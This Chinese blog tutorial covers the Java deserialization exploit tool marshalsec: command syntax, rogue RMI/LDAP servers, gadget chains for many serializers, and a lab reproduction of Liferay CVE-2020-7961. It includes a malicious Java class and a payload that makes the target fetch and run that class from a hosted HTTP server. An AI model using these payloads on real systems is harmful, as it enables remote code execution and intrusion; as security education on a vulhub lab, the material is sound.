java 反序列化利用工具 marshalsec 使用简介

https://blog.csdn.net/whatday/article/details/107942941

命令格式

marshalsec命令格式如下:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
   
   

参数说明:

  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名

开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
   
   

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
   
   

查询可用Gadget

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例

生成特定Payload

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject
   
   

攻击载荷

目前marshalsec支持的exploit和payload有:

MarshallerGadget Impact
BlazeDSAMF(0|3|X)JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlapvarious third party RCEs
Castordependency library RCE
Jacksonpossible JDK only RCE, various third party RCEs
Javayet another third party RCE
JsonIOJDK only RCE
JYAMLJDK only RCE
Kryothird party RCEs
KryoAltStrategyJDK only RCE
Red5AMF(0|3)JDK only RCE
SnakeYAMLJDK only RCEs
XStreamJDK only RCEs
YAMLBeansthird party RCE

列出所有jackson的gadgets 传参为calc

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"

Alt text

如果想查找组件可以生成的gadgets有哪些

以Jackson为例

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson

Alt text

如果想查找gadgets可以用于哪些组件生成

方法1、以resin为例,可以查看手册

Alt text

方法2、选择想看的gadgets->find usages

Alt text

使用实例:

Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/

marshalsec的使用如下:

首先准备一个恶意的Java类,编译:

// javac LifExp.java
public class LifExp {
 
static {
    try {
            String[] cmd = {"bash", "-c", "touch /tmp/success"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

在保存着class文件的目录下运行一个HTTP文件服务:

$ ls
LifExp.class  LifExp.java
 
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
 
 

其中,http://127.0.0.1/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。

这里需要注意 是2个参数

第一个参数 http://127.0.0.1/ 是python启动的http服务器 

第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名

就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现

可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class

从而成功访问到 LifExp.class 文件

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值